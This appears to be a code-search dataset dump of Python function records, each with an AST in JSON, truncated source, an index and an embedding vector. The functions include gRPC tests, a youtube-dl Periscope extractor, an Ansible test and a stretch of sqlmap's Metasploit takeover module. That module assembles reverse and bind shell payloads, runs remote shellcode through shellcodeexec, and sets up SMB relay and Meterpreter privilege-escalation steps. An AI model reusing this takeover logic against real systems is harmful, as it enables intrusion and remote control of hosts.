{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testSuccessfulStreamRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() response, call = self._invoker.blocking(g...
839
[ -0.0077170333825051785, -0.011643928475677967, 0.028185078874230385, -0.027195215225219727, -0.01626763679087162, 0.0223110169172287, -0.005988026969134808, 0.02594486065208912, 0.028810257092118263, -0.007723545655608177, 0.017570089548826218, -0.03078998625278473, -0.010536843910813332, ...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testSequentialInvocations(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: first_request = test_messages.request() second_request = test_messages.request() firs...
840
[ 0.030895709991455078, -0.00910996925085783, 0.007457380648702383, -0.021288186311721802, 0.002147180726751685, 0.012806082144379616, -0.00563894072547555, 0.008274789899587631, 0.03037446364760399, 0.005751482676714659, 0.013422100804746151, -0.028455328196287155, -0.019416436553001404, -0...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testSuccessfulStreamRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_stream_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() response_iterator = self._invoker.block...
841
[ -0.005304703954607248, -0.03201093524694443, 0.07254837453365326, -0.03179168328642845, -0.011608227156102657, -0.006912559270858765, -0.013118636794388294, 0.043996766209602356, 0.0403425469994545, -0.01030489057302475, 0.0063948784954845905, -0.010585046373307705, -0.03639599308371544, -...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testParallelInvocations(self): pool = logging_pool.pool(test_constants.THREAD_CONCURRENCY) for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = [] response_futures =...
842
[ -0.0033613445702940226, -0.030909206718206406, 0.04867631196975708, -0.04149870574474335, -0.019687874242663383, -0.0037562393117696047, 0.0025841915048658848, 0.028685158118605614, 0.038895558565855026, -0.021709736436605453, 0.016035888344049454, -0.007316610775887966, -0.03864282369613647...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testWaitingForSomeButNotAllParallelInvocations(self): pool = logging_pool.pool(test_constants.THREAD_CONCURRENCY) for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = [] ...
843
[ 0.009680313058197498, 0.017030658200383186, 0.0015310535673052073, -0.026981297880411148, 0.0015286399284377694, 0.02006862871348858, -0.015151234343647957, 0.029813304543495178, 0.045312102884054184, -0.010465551167726517, 0.0354258269071579, -0.047268763184547424, 0.0026260423474013805, ...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testExpiredUnaryRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_stream_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() with self._control.pause(), self.assertRaises(...
844
[ -0.01871264912188053, 0.015341121703386307, 0.028488721698522568, -0.021244678646326065, -0.004495368339121342, 0.016288941726088524, -0.01733154058456421, 0.04573902115225792, 0.036829523742198944, -0.008814713917672634, 0.02143424190580845, -0.048176269978284836, -0.003716803155839443, -...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testExpiredUnaryRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() with self._control.pause(), self.assertRaises( ...
845
[ 0.026789655908942223, 0.011427261866629124, 0.0005355527973733842, -0.03501882404088974, 0.00000313252803607611, 0.027353648096323013, -0.019970471039414406, 0.01774013601243496, 0.028994355350732803, -0.003739656414836645, 0.034890640527009964, -0.03945385664701462, -0.0030971532687544823, ...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testExpiredStreamRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_stream_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() with self._control.pause(), self.assertRai...
846
[ 0.00685618631541729, 0.018117278814315796, 0.020417245104908943, -0.02629493735730648, -0.0033742927480489016, 0.021587403491139412, -0.013867048546671867, 0.03190362825989723, 0.03386734053492546, -0.006213943939656019, 0.025689681991934776, -0.041130393743515015, -0.004996710456907749, -...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testExpiredStreamRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() with self._control.pause(), self.assertRaise...
847
[ 0.011941945180296898, 0.009651382453739643, 0.019899265840649605, -0.013624077662825584, 0.01126789953559637, -0.0015792357735335827, -0.0015464283060282469, 0.01694062165915966, 0.04270945489406586, -0.0004171777400188148, 0.006967129185795784, -0.04962886497378349, 0.01410127803683281, -...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testFailedUnaryRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_stream_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() with self._control.fail(), self.assertRaises(fa...
848
[ -0.01413592230528593, 0.009115573018789291, 0.04191436618566513, -0.00563401635736227, 0.005933140404522419, -0.009134075604379177, -0.002050695475190878, 0.031158236786723137, 0.040853556245565414, 0.004008878488093615, -0.0003359363181516528, -0.04820522293448448, 0.0061181653290987015, ...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testFailedUnaryRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() with self._control.fail(), self.assertRaises(face...
849
[ 0.030206121504306793, 0.007903036661446095, 0.026808226481080055, -0.022144906222820282, 0.011412243358790874, 0.008951697498559952, -0.0061572217382490635, 0.006004902068525553, 0.02790961228311062, 0.0013642844278365374, 0.004194643814116716, -0.03943902626633644, 0.005791069008409977, -...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testFailedStreamRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_stream_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() with self._control.fail(), self.assertRaise...
850
[ 0.004367494024336338, 0.015411058440804482, 0.04583865404129028, -0.015152152627706528, 0.006195245776325464, -0.0013931597350165248, -0.001151976641267538, 0.012427478097379208, 0.037060514092445374, 0.0018169637769460678, 0.0013292038347572088, -0.03932902216911316, 0.0045585911720991135, ...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testFailedStreamRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() with self._control.fail(), self.assertRaises(...
851
[ 0.026569999754428864, -0.015449129045009613, -0.05664263665676117, -0.06755084544420242, -0.0038216267712414265, -0.034150704741477966, -0.024893738329410553, -0.024706097319722176, 0.03772839903831482, -0.002802109345793724, 0.022304289042949677, -0.03284972533583641, 0.01188394520431757, ...
11
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "Assign", "_fields": {"value": {"_type": "Constant", "_fields": {"kind": null, "value": "Periscope"}}, "targets": [{"_type": "Name", "_fields": {"id": "IE_DESC", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": nul...
class PeriscopeIE(InfoExtractor): IE_DESC = 'Periscope' _VALID_URL = r'https?://(?:www\.)?periscope\.tv/[^/]+/(?P<id>[^/?#]+)' # Alive example URLs can be found here http://onperiscope.com/ _TESTS = [{ 'url': 'https://www.periscope.tv/w/aJUQnjY3MjA3ODF8NTYxMDIyMDl2zCg2pECBgwTqRpQuQD352EMPTKQjT4u...
852
[ 0.013507363386452198, -0.00588292395696044, -0.05004884675145149, -0.04815563187003136, -0.008956365287303925, -0.030849702656269073, -0.020886048674583435, -0.011335019953548908, 0.025048695504665375, 0.009168745018541813, 0.0083313612267375, 0.0010550731094554067, 0.03560701385140419, -0...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "url", "annotation": null, "type_comment": null}}], "kwarg": null,...
def _real_extract(self, url): token = self._match_id(url) broadcast_data = self._call_api('getBroadcastPublic', token) broadcast = broadcast_data['broadcast'] status = broadcast['status'] uploader = broadcast.get('user_display_name') or broadcast_data.get('user', {}).get('displ...
853
[ 0.018317997455596924, 0.001898932154290378, 0.023953333497047424, 0.014737604185938835, 0.01055837795138359, -0.002169982995837927, -0.005553391296416521, -0.00168303691316396, 0.00916530191898346, 0.01570834405720234, -0.02124282531440258, -0.029323924332857132, -0.03852704539895058, 0.00...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "msg", "annotation": null, "type_comment": null}}, {"_type": "arg"...
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): descr...
854
[ -0.0018834364600479603, -0.007540606893599033, 0.04179925099015236, -0.007087758742272854, 0.009372583590447903, -0.008336521685123444, 0.03641996532678604, -0.006525129545480013, 0.020913349464535713, 0.029476294293999672, 0.022601237520575523, 0.006665786728262901, 0.009283386170864105, ...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf....
855
[ 0.025449682027101517, 0.006122083868831396, 0.02038312889635563, -0.013419868424534798, 0.004352038726210594, -0.017693959176540375, 0.03692087531089783, 0.028710462152957916, 0.017629003152251244, 0.02824278175830841, 0.0033744536340236664, -0.004771003499627113, -0.0023189219646155834, 0...
15
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += ...
856
[ 0.07751034945249557, -0.005818876903504133, 0.02567250281572342, -0.027151023969054222, 0.01826869696378708, 0.00468198349699378, 0.034745246171951294, 0.007868644781410694, 0.021707378327846527, -0.024238785728812218, 0.021180935204029083, -0.01775345392525196, 0.02766626700758934, 0.0135...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "encode", "annotation": null, "type_comment": null}}], "kwarg": nu...
def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec if isinstance(encode, basestring):...
857
[ 0.005089702550321817, -0.005848223343491554, 0.060591429471969604, 0.003220188431441784, 0.046244386583566666, -0.05558349937200546, -0.01623065210878849, -0.03780760616064072, -0.040740177035331726, -0.028310589492321014, -0.01826089434325695, -0.011104293167591095, 0.040559712797403336, ...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def _selectLhost(self): if self.connectionStr.startswith("reverse"): message = "what is the local address? [%s] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address eli...
858
[ 0.013317152857780457, -0.004562895279377699, 0.06998761743307114, 0.016126874834299088, 0.02740059234201908, -0.04137954115867615, -0.002683458384126425, -0.022083019837737083, -0.03555110841989517, -0.02253582701086998, -0.008156320080161095, -0.02895638905465603, 0.05967756360769272, 0.0...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def _selectRhost(self): if self.connectionStr.startswith("bind"): message = "what is the back-end DBMS address? [%s] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: address = self.remoteIP return address ...
859
[ 0.029959630221128464, -0.050575416535139084, 0.02902030199766159, -0.05329452455043793, 0.027388837188482285, -0.018576454371213913, 0.04083606228232384, 0.013731497339904308, -0.018316902220249176, 0.0008574461098760366, 0.024867482483386993, 0.0003435577964410186, 0.02015848085284233, -0...
8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "encode", "annotation": null, "type_comment": null}}], "kwarg": nu...
def _prepareIngredients(self, encode=True): self.connectionStr = self._selectConnection() self.lhostStr = self._selectLhost() self.rhostStr = self._selectRhost() self.portStr = self._selectPort() self.payloadStr = self._selectPayload() self.encoderStr = self._selectEncode...
860
[ 0.023195728659629822, 0.030025240033864975, 0.06807361543178558, -0.017227597534656525, 0.0029963713604956865, -0.0200701504945755, 0.009192153811454773, -0.0012697662459686399, 0.03799915686249733, 0.024167858064174652, 0.024561630561947823, -0.03895898163318634, 0.02557067573070526, 0.03...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "exitfunc", "annotation": null, "type_comment": null}}], "kwarg": ...
def _forgeMsfCliCmd(self, exitfunc="process"): self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += " ...
861
[ 0.04436809942126274, 0.02759126015007496, 0.053685884922742844, -0.010313531383872032, -0.015569871291518211, -0.0034277858212590218, -0.010530785657465458, -0.013662864454090595, 0.0515616200864315, 0.014205999672412872, 0.023741036653518677, -0.013083520345389843, 0.02662568725645542, 0....
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "exitfunc", "annotation": null, "type_comment": null}}, {"_type": ...
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr) self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): ...
862
[ 0.05096897482872009, -0.002543694106861949, 0.03228352218866348, -0.028384774923324585, -0.003672904334962368, -0.02840854786336422, 0.03953423723578453, 0.0031825893092900515, 0.012183582410216331, -0.0006036073318682611, 0.019315434619784355, -0.022358359768986702, 0.022655518725514412, ...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=thread" self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " SRVHOST=%s" % s...
863
[ 0.02304457314312458, 0.02690010890364647, 0.044227857142686844, -0.02450701780617237, -0.000559149426408112, -0.013915377669036388, 0.04495907574892044, 0.01898961514234543, 0.009893655776977539, 0.02368716336786747, 0.023975219577550888, 0.00043901021126657724, 0.014380700886249542, 0.030...
8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execut...
864
[ 0.009999428875744343, 0.04374544695019722, 0.0716671422123909, -0.03736772760748863, 0.008722789585590363, -0.0273518618196249, 0.04821642488241196, 0.01339101605117321, 0.013412932865321636, 0.06649482995271683, 0.035548653453588486, -0.006684549618512392, 0.005775012541562319, 0.02814085...
8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "exitfunc", "annotation": null, "type_comment": null}}], "kwarg": ...
def _runMsfCli(self, exitfunc): self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute...
865
[ 0.010248720645904541, 0.01768786646425724, 0.04968657344579697, -0.019237976521253586, -0.050267864018678665, -0.016940491273999214, -0.007210780866444111, 0.011425143107771873, 0.023819105699658394, -0.0024964387994259596, 0.031112927943468094, -0.00883009284734726, 0.00011796667968155816, ...
8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "proc", "annotation": null, "type_comment": null}}, {"_type": "arg...
def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7 #send_all(proc, "use priv\n") # This extension fr...
866
[ 0.042404595762491226, 0.021060476079583168, 0.05710674822330475, 0.0043610078282654285, 0.018614057451486588, -0.004231004975736141, 0.05814677104353905, 0.010713424533605576, 0.01594308763742447, 0.036117181181907654, 0.014004862867295742, 0.007587444502860308, 0.007794267497956753, -0.00...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) if not Backend.isOs(OS.WINDOWS): self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True) ...
867
[ 0.04498503729701042, 0.03299987316131592, 0.04056517034769058, 0.007978810928761959, 0.0028827437199652195, 0.0028183436952531338, 0.045120615512132645, 0.03354218974709511, 0.04281577467918396, 0.03121023252606392, 0.04867278039455414, 0.013496866449713707, 0.02481091581285, 0.04360213130...
14
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "proc", "annotation": null, "type_comment": null}}, {"_type": "arg...
def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: ...
868
[ 0.06257590651512146, 0.008901691995561123, 0.07055632770061493, -0.02239212766289711, -0.007915875874459743, -0.04384538158774376, 0.06097982078790665, -0.0077398368157446384, -0.001726646674796939, 0.03755493089556694, 0.03344736248254776, -0.007604873739182949, -0.004515393637120724, -0....
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "exitfunc", "annotation": null, "type_comment": null}}, {"_type": ...
def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) self._randStr = randomStr(lowercase=True) self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) Metas...
869
[ 0.020376507192850113, 0.04914999380707741, 0.08894766122102737, 0.007787320297211409, 0.028911761939525604, -0.010753918439149857, 0.04092899709939957, 0.04995449632406235, 0.04791810363531113, 0.05842689797282219, 0.018868066370487213, 0.006068327464163303, 0.036655087023973465, -0.000144...
8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "goUdf", "annotation": null, "type_comment": null}}], "kwarg": nul...
def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" func = self._runMsfShellcodeRemote else: exitfunc = "process" func = self._runMsfShellcodeRemoteViaSexec self._runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind")...
870
[ 0.035515666007995605, 0.014894052408635616, 0.03431743010878563, -0.024899307638406754, 0.02899727039039135, -0.009424112737178802, 0.022538786754012108, -0.02636115439236164, 0.027415599673986435, 0.03978137671947479, 0.04179441183805466, -0.034772757440805435, 0.02578600123524666, -0.025...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "web", "annotation": null, "type_comment": null}}], "kwarg": null,...
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") else: self...
871
[ 0.004206134006381035, 0.04896015673875809, 0.07360419631004333, -0.009610417298972607, -0.009175299666821957, -0.015399369411170483, 0.008809548802673817, 0.04252798855304718, 0.014276892878115177, 0.035641781985759735, 0.03859301283955574, -0.018829859793186188, 0.00581732951104641, 0.037...
8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def bof(self): self._runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) ...
872
[ 0.013562428764998913, 0.01632758416235447, 0.0776350274682045, 0.0063203549943864346, -0.004967404063791037, -0.028625940904021263, 0.03892285376787186, 0.04706031084060669, 0.003324770135805011, 0.01292380876839161, 0.017367808148264885, 0.018724052235484123, 0.022015903145074844, 0.01204...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def smb(self): Metasploit._initVars(self) self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) else: ...
873
[ 0.001404617098160088, 0.01330163050442934, 0.01131201721727848, -0.07102545350790024, 0.002416629809886217, 0.0018238124903291464, 0.03941687196493149, -0.03411123529076576, 0.003888505743816495, -0.02247387357056141, 0.02895575948059559, -0.042645301669836044, -0.025289364159107208, -0.02...
7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_basic_manager(self): fake_loader = DictDataLoader({}) v = VariableManager() vars = v.get_vars(loader=fake_loader, use_cache=False) if 'omit' in vars: del vars['omit'] if 'vars' in vars: del vars['vars'] if 'ansible_version' in vars: ...
874
[ 0.036424148827791214, 0.020223593339323997, 0.010509282350540161, -0.04059172794222832, -0.0024059934075921774, 0.012502733618021011, 0.022138752043247223, -0.03996538743376732, 0.018886595964431763, 0.003143751062452793, 0.017754362896084785, -0.03170249983668327, -0.021464230492711067, -...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
